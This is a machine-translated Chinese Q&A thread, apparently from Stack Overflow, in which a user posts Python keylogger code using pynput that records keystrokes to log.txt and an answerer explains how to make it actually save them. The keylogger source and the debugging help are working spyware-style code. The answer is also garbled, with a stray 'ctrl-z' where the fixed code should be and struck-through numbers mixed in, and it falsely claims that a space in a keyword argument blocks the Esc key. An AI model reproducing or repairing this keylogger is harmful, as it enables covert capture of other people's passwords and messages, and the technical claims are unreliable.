所以我尝试制作键盘记录器,但是它不会保存到文本文件中。
第一次制作键盘记录器,已经看过一些教程,但是我不知道为什么它不起作用。
这是我完整的代码
import pynput
from pynput.keyboard import Key, Listener
count = 0
keys = []
def on_press(key):
global keys, count
keys.append(key)
count += 1
print("{0} pressed", format(key))
if count >= 999999999999999999999999999999999999999999:
count = 0
write_file(keys)
keys = []
def write_file():
with open("log.txt", "a") as f:
for key in keys:
k = str(key).replace("'","")
if k.find("space") > 0:
f.write('\n')
elif k.find("Key") == -1:
f.write(k)
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press, on_release =on_release) as listener:
listener.join()
pycharm中没有显示错误...
答案 0 :(得分:3)
正如John Gordon在评论中指出的那样,除非您收集了超过9999999999999999999999999999999999999999999999个密钥,否则您的键盘记录器不会保存。一秒钟不间断地输入三个键,将花费大约一年 一千亿年,并创建一个文件几乎正好1GB 10,000万亿兆GB 。但是,根据打字速度测试,人们平均190-200 characters (not words) per minute打字-为什么不每隔15秒左右保存50个字符?您可以将其更改为所需的任何内容。
我还注意到您的程序未正确终止-您在with Listener
的{{1}}调用中留下了一个空白,这阻止了键盘记录器捕获on_release =on_release
密钥(因此还可以防止键盘记录器被杀死,除了esc
之外)。
此修改后的代码在我的计算机上运行良好,并捕获了我的所有输入。诡异!
ctrl-z
祝你好运!